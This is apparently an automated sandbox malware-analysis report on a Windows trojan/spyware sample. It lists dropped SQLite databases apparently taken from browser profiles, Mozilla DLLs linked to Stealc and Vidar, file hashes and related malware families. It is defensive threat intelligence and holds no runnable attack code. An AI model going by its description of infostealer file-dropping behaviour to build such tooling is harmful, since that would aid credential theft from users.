Classification:	mal100.troj.spyw.evad.winEXE@1/22@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 81 Number of non-executed functions: 208
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
HETZNER-ASDE	invoice.exe	Get hash	malicious	MinerDownloader, RedLine, Xmrig	Browse	135.181.7.171
	na.elf	Get hash	malicious	Unknown	Browse	197.242.86.246
	https://clicks.trx-hub.com/xid/pmc_0aaa4_wwd?q=https://aussiebongs.com/#aHdheXVuLmxlZSRoeXVuZGFpZWxldmF0b3IuY29t	Get hash	malicious	Outlook Phishing, HTMLPhisher	Browse	159.69.51.30
	YtpxPCS4ke.elf	Get hash	malicious	Mirai	Browse	95.217.66.199
	cqdEWgq9fW.elf	Get hash	malicious	Mirai	Browse	95.217.66.137
	getscreen-227149269.exe	Get hash	malicious	Unknown	Browse	5.75.168.191
	getscreen-227149269.exe	Get hash	malicious	Unknown	Browse	5.75.168.191
	na.elf	Get hash	malicious	Unknown	Browse	116.203.104.203
	na.elf	Get hash	malicious	Unknown	Browse	116.203.104.203
	na.elf	Get hash	malicious	Unknown	Browse	116.203.104.203

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	pQdK0IZYsv.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	54f0fa329a53.exe	Get hash	malicious	Stealc, Vidar	Browse
	Setup-Pro.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	pQdK0IZYsv.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	54f0fa329a53.exe	Get hash	malicious	Stealc, Vidar	Browse
	Setup-Pro.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\CBAKJKJJJECFIEBFHIEG

Download File

Process:	C:\Users\user\Desktop\Eae0KTw4m1.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBKFHCFB

Download File

Process:	C:\Users\user\Desktop\Eae0KTw4m1.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DGHDHIDGHIDGIECBKKJJJEHCFC

Download File

Process:	C:\Users\user\Desktop\Eae0KTw4m1.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EHJJKFCBGIDGHIECGCBKFHIEBG

Download File

Process:	C:\Users\user\Desktop\Eae0KTw4m1.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FHCAEGCBFHJDGCBFHDAF

Download File

Process:	C:\Users\user\Desktop\Eae0KTw4m1.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\KECBGCGCGIEGCBFHIIEBFCAFHI

Download File

Process:	C:\Users\user\Desktop\Eae0KTw4m1.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KFBAECBA

Download File

Process:	C:\Users\user\Desktop\Eae0KTw4m1.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KKJKKJJKJEGIECAKJJEB

Download File

Process:	C:\Users\user\Desktop\Eae0KTw4m1.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\Eae0KTw4m1.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: pQdK0IZYsv.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 54f0fa329a53.exe, Detection: malicious, Browse Filename: Setup-Pro.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\Eae0KTw4m1.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: pQdK0IZYsv.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 54f0fa329a53.exe, Detection: malicious, Browse Filename: Setup-Pro.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\Eae0KTw4m1.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\Eae0KTw4m1.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\Eae0KTw4m1.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\Eae0KTw4m1.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\Eae0KTw4m1.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\Eae0KTw4m1.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\Eae0KTw4m1.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\Eae0KTw4m1.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\Eae0KTw4m1.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\Eae0KTw4m1.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
